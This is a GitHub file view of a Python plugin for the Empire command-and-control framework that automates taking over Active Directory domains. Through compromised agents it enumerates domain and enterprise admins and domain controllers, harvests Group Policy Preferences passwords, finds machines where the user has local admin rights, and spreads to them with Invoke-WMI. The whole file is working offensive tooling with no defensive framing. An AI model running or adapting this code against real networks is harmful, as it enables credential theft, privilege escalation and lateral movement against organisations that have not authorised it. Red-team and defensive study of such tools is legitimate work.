-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdeathstar.plugin
301 lines (250 loc) · 12.2 KB
/
deathstar.plugin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
from __future__ import print_function
import logging
from empire.server.api.v2.agent.agent_task_dto import ModulePostRequest
from empire.server.common.plugins import Plugin
from empire.server.core.db import models
from empire.server.core.db.base import SessionLocal
from empire.server.core.db.models import PluginTaskStatus
from empire.server.core.hooks import hooks
from empire.server.core.plugin_service import PluginService
from empire.server.plugins.DeathStarPlugin.run_tasks import DeathStarTasks
from empire.server.plugins.DeathStarPlugin.utils import (
posh_object_parser,
posh_table_parser,
)
log = logging.getLogger(__name__)
class Plugin(Plugin):
def onLoad(self):
self.info = {
'Name': 'deathstar',
"Authors": [
{
"Name": "Anthony Rose",
"Handle": "@_Cx01N",
"Link": "https://twitter.com/_Cx01N",
}
],
'Description': ('Automate gaining Domain and/or Enterprise Admin rights in Active Directory environments using some of the most common offensive TTPs'),
'Software': '',
'Techniques': [],
'Comments': [
'https://github.com/byt3bl33d3r/DeathStar',
]
}
self.options = {
'Agent': {
'Description': 'Name of Agent',
'Required': True,
'Value': ''
},
}
def execute(self, command, **kwargs):
"""
Parses commands from the API
"""
try:
agent_name = command['Agent']
user = kwargs["user"]
db = kwargs["db"]
input = f"""
_______ _______ ___ .___________. __ __ _______.___________. ___ .______
| \ | ____| / \ | || | | | / | | / \ | _ \
| .--. || |__ / ^ \ `---| |----`| |__| | | (----`---| |----` / ^ \ | |_) |
| | | || __| / /_\ \ | | | __ | \ \ | | / /_\ \ | /
| '--' || |____ / _____ \ | | | | | | .----) | | | / _____ \ | |\ \----.
|_______/ |_______/__/ \__\ |__| |__| |__| |_______/ |__| /__/ \__\ | _| `._____|
Created by: byt3bl33d3r Return of the Plugin V1.0
Maintained by: Cx01N
"""
plugin_task = models.PluginTask(
plugin_id=self.info["Name"],
input=input,
input_full=input,
user_id=user.id,
status=PluginTaskStatus.completed,
)
plugin_task.output = f"[*] Starting Recon Scan: {agent_name}\n"
db.add(plugin_task)
db.flush()
self.plugin_task_id = plugin_task.id
agent = self.main_menu.agentsv2.get_by_id(db, agent_name)
self.session_id = agent.session_id
self.listener_name = agent.listener
params = {
"Agent": self.session_id,
"OutputFunction": "Out-String"
}
module_post_request = ModulePostRequest(module_id="powershell_management_get_domain_sid",
options=params)
res, err = self.main_menu.agenttasksv2.create_task_module(db, agent, module_post_request, 0)
if err:
return f"[!] Error running module: {err}z"
else:
self.task_ids['domain_sid'] = res.id
return "[*] Starting DeathStar..."
except Exception as e:
log.error(e)
self.plugin_service.plugin_socketio_message(self.info["Name"], f"[!] {e}")
return False
def register(self, main_menu):
self.installPath = main_menu.installPath
self.main_menu = main_menu
self.plugin_service: PluginService = main_menu.pluginsv2
self.task_ids = {}
self.domain_controllers = None
self.DeathStarTasks = DeathStarTasks(self.main_menu)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_domain_sid", self.get_domain_sid)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_domain_admin", self.get_domain_admin)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_enterprise_admin", self.get_enterprise_admin)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_domain_controller", self.get_domain_controller)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_gpp", self.get_gpp)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_local_admin", self.get_local_admin)
hooks.register_hook(hooks.BEFORE_TASKING_RESULT_HOOK, "get_wmi", self.get_invoke_wmi)
hooks.register_hook(hooks.AFTER_AGENT_CHECKIN_HOOK, 'on_new_agent_checkin', self.on_new_agent_checkin)
def on_new_agent_checkin(self, db, task):
if 'wmi' in self.task_ids:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += f"[+] Access gained to {task.hostname}\n"
db.add(plugin_task)
db.flush()
# Clear task list if successful
self.task_ids = {}
def get_invoke_wmi(self, db, task):
if 'wmi' in self.task_ids:
if task.id in self.task_ids['wmi']:
if task.output:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += f"{task.output.decode('UTF-8')}\n"
db.add(plugin_task)
db.flush()
def get_local_admin(self, db, task):
if 'local_admin' not in self.task_ids:
return
if task.id != self.task_ids['local_admin']:
return
if not task.output:
return
if b"Find-LocalAdminAccess completed" not in task.output:
return
# Now the primary logic of the function starts here, without deep nesting
self.localadmin_access = task.output.decode('utf-8').split("\r\n")[:-3]
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += f"[+] Local Admin Access found\n"
self.task_ids['wmi'] = []
for computer_name in self.localadmin_access:
self.task_ids['wmi'].append(
self.DeathStarTasks.run_invoke_wmi(db, self.session_id, self.listener_name, computer_name))
plugin_task.output += f"[*] Attempting Invoke-WMI to {computer_name}\n"
db.add(plugin_task)
db.flush()
def get_domain_sid(self, db, task):
if 'domain_sid' not in self.task_ids:
return
if not task.output:
return
if b"Get-DomainSID completed" not in task.output:
return
# The primary logic starts here without deep nesting
group_sid = task.output.split()[0].decode("UTF-8")
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
if group_sid == "Get-DomainSID":
plugin_task.output += "[!] No Group SID found\n"
db.add(plugin_task)
db.flush()
return
plugin_task.output += f"[+] Group SID: {group_sid}\n"
self.task_ids['domain_admin'] = self.DeathStarTasks.run_get_group_member(db, group_sid + "-512",
self.session_id)
self.task_ids['enterprise_admin'] = self.DeathStarTasks.run_get_group_member(db, group_sid + "-519",
self.session_id)
self.task_ids['domain_controller'] = self.DeathStarTasks.run_get_domain_controller(db, self.session_id)
def get_domain_controller(self, db, task):
if 'domain_controller' not in self.task_ids:
return
if task.id != self.task_ids['domain_controller']:
return
if not task.output:
return
if b"Get-DomainController completed" not in task.output:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += "[!] No Domain Controllers found\n"
return
# Main logic starts here, with reduced nesting
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
self.domain_controllers = posh_object_parser(task.output.decode('utf-8'))
plugin_task.output += f"[+] Domain Controllers found\n"
db.add(plugin_task)
db.flush()
self.task_ids['gpp'] = self.DeathStarTasks.run_get_gpp(db, self.session_id)
def get_domain_admin(self, db, task):
if 'domain_admin' not in self.task_ids:
return
if task.id != self.task_ids['domain_admin']:
return
if not task.output:
return
if b"Get-DomainGroupMember completed" not in task.output:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += "[!] No Domain Admins found\n"
return
# Main logic starts here, with reduced nesting
self.domain_admins = posh_object_parser(task.output.decode('utf-8'))
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += f"[+] Domain Admins found\n"
db.add(plugin_task)
db.flush()
def get_enterprise_admin(self, db, task):
if 'enterprise_admin' not in self.task_ids:
return
if task.id != self.task_ids['enterprise_admin']:
return
if not task.output:
return
if b"Get-DomainGroupMember completed" not in task.output:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += "[!] No Enterprise Admins found\n"
return
# Primary logic of the function starts here, without deep nesting
self.enterprise_admins = posh_object_parser(task.output.decode('utf-8'))
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += f"[+] Enterprise Admins found\n"
db.add(plugin_task)
db.flush()
def get_gpp(self, db, task):
if 'gpp' not in self.task_ids:
return
if task.id != self.task_ids['gpp']:
return
if not task.output:
return
if b"Get-GPPPassword completed" not in task.output:
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
plugin_task.output += "[!] No GPOs found\n"
return
# Main logic of the function starts here, with reduced nesting
parsed = posh_object_parser(task.output.decode('utf-8'))
gpo = {}
for gpo in parsed:
gpo["guid"] = gpo["file"].split("\\")[6][1:-1]
gpo["passwords"] = gpo["passwords"][1:-1].split(", ")
gpo["usernames"] = gpo["usernames"][1:-1].split(", ")
# Gets rid of the "(built-in)" when administrator accounts are found
gpo["usernames"] = [
user.split()[0] if "(built-in)" in user.lower() else user
for user in gpo["usernames"]
]
plugin_task = self.plugin_service.get_task(db, 'deathstar', self.plugin_task_id)
if gpo:
plugin_task.output += "[+] GPP Password found\n"
else:
plugin_task.output += "[!] No GPOs found\n"
db.add(plugin_task)
db.flush()
self.task_ids['local_admin'] = self.DeathStarTasks.run_find_localadmin(db, self.session_id,
self.domain_controllers[0]['name'],
self.domain_controllers[0]['domain'])
def shutdown(self):
"""
Kills additional processes that were spawned
"""
pass